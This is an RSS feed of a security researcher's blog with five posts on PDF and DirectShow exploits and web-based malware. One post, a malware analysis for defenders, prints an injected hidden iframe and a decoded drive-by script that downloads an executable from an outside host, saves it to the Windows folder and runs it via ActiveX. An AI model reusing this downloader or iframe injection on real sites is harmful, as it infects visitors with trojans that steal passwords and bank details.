<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>Niels Provos (Entries tagged as exploit)</title>
    <link>http://www.provos.org/</link>
    <description>systrace, spybye and other things.</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.3.1 - http://www.s9y.org/</generator>
    
    

<item>
    <title>Adobe PDF Vulnerability: Stack overflow in Font File parsing</title>
    <link>http://www.provos.org/index.php?/archives/87-Adobe-PDF-Vulnerability-Stack-overflow-in-Font-File-parsing.html</link>
            <category>Malware</category>
            <category>News</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/87-Adobe-PDF-Vulnerability-Stack-overflow-in-Font-File-parsing.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=87</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=87</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Metasploit has a great &lt;a href=&quot;http://blog.metasploit.com/2010/09/return-of-unpublished-adobe.html&quot;&gt;write up on new vulnerability in PDF&lt;/a&gt;.  The basic problem is a stack overflow when parsing OpenType fonts.  In particular, &lt;a href=&quot;http://www.adobe.com/devnet/opentype/gdk/topic.html&quot;&gt;SING Glyphlet tables&lt;/a&gt; contain a 27 byte long unique name that is expected to be NUL-terminated and stored in a 28-byte buffer.  The vulnerable code is using &lt;strong&gt;strcat&lt;/strong&gt; and lacks bounds checking resulting in a stack overflow.&lt;br /&gt;
&lt;br /&gt;
The PDF in the wild prepares the heap via Javascript and contains multiple different font files that are selected by navigating to a specific page in the PDF based on the viewer version.   Each font files has slightly different shell code.    It was amusing to see that the attackers after modifying the &lt;strong&gt;head&lt;/strong&gt; and &lt;strong&gt;SING&lt;/strong&gt; tables did not fix up their respective checksums.   According to Metasploit, this exploit works under Windows 7 with both DEP and ASLR turned on.   Fun Fun.   As of now, no patched version is available.  The &lt;a href=&quot;http://secbrowsing.blogspot.com/2010/09/protect-yourself-against-todays-pdf.html&quot;&gt;SecBrowsing blog&lt;/a&gt; contains instructions with temporary remedies. 
    </content:encoded>

    <pubDate>Thu, 09 Sep 2010 22:18:39 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/87-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>Anatomy of a PDF Exploit</title>
    <link>http://www.provos.org/index.php?/archives/85-Anatomy-of-a-PDF-Exploit.html</link>
            <category>Hacking</category>
            <category>Malware</category>
            <category>Security</category>
    
    <comments>http://www.provos.org/index.php?/archives/85-Anatomy-of-a-PDF-Exploit.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=85</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=85</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    PDF has become the de-facto standard for formatting print documents.  Over the years, it has evolved into a &lt;a href=&quot;http://www.adobe.com/devnet/pdf/pdf_reference.html&quot;&gt;feature rich and very complex system&lt;/a&gt;.  PDF supports embedded Javascript that can be used for form validation and contains support for different image formats and 3D models, etc.  As a result, PDF implementations have numerous vulnerabilities that can be exploit by adversaries to gain control over a user’s computer.   Here are a number of CVEs that are currently being exploited in the wild: &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659&quot;&gt;CVE-2007-5659&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992&quot;&gt;CVE-2008-2992&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927&quot;&gt;CVE-2009-0927&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2994&quot;&gt;CVE-2009-2994&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324&quot;&gt;CVE-2009-4324&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188&quot;&gt;CVE-2010-0188&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In this blog post, we are going to look at current exploitation of CVE-2010-0188: An integer overflow in the parsing of the dot range option in TIFF files.   The vulnerability was publicly &lt;a href=&quot;http://www.adobe.com/support/security/bulletins/apsb10-07.html&quot;&gt;announced in February 2010&lt;/a&gt;.  Examples of &lt;a href=&quot;http://www.exploit-db.com/exploits/11787/&quot;&gt;exploit code&lt;/a&gt; are readily available on the Internet and a very good explanation of how the exploit works has been provided by &lt;a href=&quot;http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/&quot;&gt;Fortinet&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The exploit described by Fortinet utilizes an AcroForm described in XML.  The XML contains an image field with an embedded TIFF image that triggers the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;!-- s9ymdb:12 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;691&quot; height=&quot;209&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px; padding-bottom: 10px;&quot; src=&quot;http://www.provos.org/uploads/image2.png&quot; alt=&quot;&quot; /&gt; &lt;br /&gt;&lt;a href=&quot;http://www.provos.org/index.php?/archives/85-Anatomy-of-a-PDF-Exploit.html#extended&quot;&gt;Continue reading &quot;Anatomy of a PDF Exploit&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Thu, 19 Aug 2010 17:10:08 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/85-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>pdf</category>

</item>
<item>
    <title>DirectShow Vulnerability Exploited Everywhere</title>
    <link>http://www.provos.org/index.php?/archives/70-DirectShow-Vulnerability-Exploited-Everywhere.html</link>
            <category>Malware</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/70-DirectShow-Vulnerability-Exploited-Everywhere.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=70</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=70</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    The &lt;a href=&quot;http://secunia.com/advisories/35683/&quot;&gt;DirectShow&lt;/a&gt; &lt;a href=&quot;http://www.symantec.com/connect/blogs/directshow-exploit-wild&quot;&gt;vulnerabilities&lt;/a&gt; are being exploited all over the place now.  Unfortunately, the &lt;a href=&quot;http://www.computerworld.com/s/article/9135210/Hackers_exploit_second_DirectShow_zero_day_using_thousands_of_hijacked_sites&quot;&gt;second vulnerability&lt;/a&gt; in DirectShow is still unpatched and exploit sites seem to be jumping on this.  There is even some evidence that it&#039;s possible to &lt;a href=&quot;http://www.viruslist.com/en/weblog?weblogid=208187760&quot;&gt;successfully exploit&lt;/a&gt; the vulnerability without even using JavaScript.   New &lt;a href=&quot;http://isc.sans.org/diary.html?storyid=6739&quot;&gt;exploit domains&lt;/a&gt; are popping after &lt;a href=&quot;http://google.com/safebrowsing/diagnostic?site=ch.ma/&quot;&gt;every day&lt;/a&gt;.  DirectShow now seems to be what Flash and PDF were earlier in the year. 
    </content:encoded>

    <pubDate>Sat, 11 Jul 2009 09:38:16 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/70-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>Cybercrime 2.0: When the Cloud Turns Dark</title>
    <link>http://www.provos.org/index.php?/archives/66-Cybercrime-2.0-When-the-Cloud-Turns-Dark.html</link>
            <category>Malware</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/66-Cybercrime-2.0-When-the-Cloud-Turns-Dark.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=66</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=66</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    We recently published an article on &lt;a href=&quot;http://queue.acm.org/detail.cfm?id=1517412&quot;&gt;web-based malware&lt;/a&gt; in ACM&#039;s Queue Magazine.  It provides a short overview of some of the challenges with detecting malicious web sites such as social engineering and examples of techniques for compromising web sites, e.g. htaccess redirection on Apache, etc.  This is the article on which my recent ISSNet talk was based. 
    </content:encoded>

    <pubDate>Wed, 01 Jul 2009 08:19:59 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/66-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>Anatomy of a typical exploit</title>
    <link>http://www.provos.org/index.php?/archives/3-Anatomy-of-a-typical-exploit.html</link>
            <category>Malware</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/3-Anatomy-of-a-typical-exploit.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=3</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=3</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
        Here is a typical example of a compromised web page.  Due to a bug in a web application like phpBB2, Moveable Type or many others, the adversary was able to insert the following line of HTML into your home page:&lt;br /&gt;&lt;pre style=&quot;margin-top: -1em; margin-bottom: -1em; margin-left: 1em&quot;&gt;&lt;br /&gt;&amp;lt;iframe src=&quot;http://www.somehost.com/ment/&quot; width=&quot;0&quot; height=&quot;0&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;When visiting your home page, the single line of HTML causes your web browser to load additional content from an external web server.  When looking at the content behind &lt;i&gt;www.somehost.com/ment/&lt;/i&gt;, we find something incomprehensible to us.  It&#039;s a block of javascript that consists only of numbers.  Just by looking at it, we have no idea what the code might do:&lt;br /&gt;&lt;pre style=&quot;margin-top: -1em; margin-bottom: -1em; margin-left: 1em&quot;&gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;t=&quot;60,115,99,114,105,112,116,32,108,97,110,103,118,97,103,&lt;br /&gt;101,61,106,97,118,97,115,99,114,105,112,116,62,13,&lt;br /&gt;10,118,97,114,32,117,114,108,44,112,97,116,104,44,118,97,114,49,44,118,97,&lt;br /&gt;114,50,44,118,97,&lt;br /&gt;[many more lines of numbers]&lt;br /&gt;t=eval(&quot;String.fromCharCode(&quot;+t+&quot;)&quot;);&lt;br /&gt;document.write(t);&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;However, it&#039;s pretty straight forward to decipher this if you have bookmarked javascript shell - just search for it.  When using jshell to evaluate the javascript from above, it decodes to the following:&lt;br /&gt;&lt;pre style=&quot;margin-top: -1em; margin-bottom: -1em; margin-left: 1em&quot;&gt;&lt;br /&gt;&amp;lt;script language=javascript&amp;gt; var url,path,var1,var2,var3,var4;&lt;br /&gt;url=&quot;http://www.somehost.com/ment/bad.exe&quot;;&lt;br /&gt;path=&quot;C:\\windows\\IsUno104.exe&quot;; var1=&quot;Microsoft.xmlhttp&quot;;&lt;br /&gt;var2=&quot;Adodb.Stream&quot;; var3=&quot;Shell.Application&quot;;&lt;br /&gt;var var4_1=&quot;clsid:BD96C556-65A&quot;; var var4_2=&quot;3-11D0-983A-00C04FC29E36&quot;;&lt;br /&gt;var4=var4_1+var4_2;&lt;br /&gt;try{var ado=(document.createElement(&quot;object&quot;));&lt;br /&gt;ado.setAttribute(&quot;classid&quot;,var4); var xml=ado.CreateObject(var1,&quot;&quot;);&lt;br /&gt;var as=ado.createobject(var2,&quot;&quot;); xml.Open(&quot;GET&quot;,url,0); xml.Send();&lt;br /&gt;as.type=1;as.open();as.write(xml.responseBody); &lt;br /&gt;as.savetofile(path,2);as.close();var shell=ado.createobject(var3,&quot;&quot;);&lt;br /&gt;shell.Shell(path,&quot;&quot;,&quot;&quot;,&quot;open&quot;,0);}catch(e){};&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This resulting javascript uses XMLRPC to download a binary from the Internet.  It saves it on your local hard drive and then uses an ActiveX object to execute it.  According to ClamAV, the executable is a Trojan-Downloader.  This means that it is an application that can download an arbitrary number of other executables on your computer that can then happily sniff your passwords, compromise your bank accounts, display popups or use your computer to send spam. &lt;br /&gt;&lt;br /&gt;All of this with just a single line of HTML.  Amazing? Right!&lt;br /&gt;&lt;br /&gt;The actual example had some more indirections and also threw in some additional visual basic script plus some other goodies that would have complicated our explanation.  
    </content:encoded>

    <pubDate>Mon, 19 Feb 2007 20:39:50 -0800</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/3-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>spybye</category>

</item>

</channel>
</rss>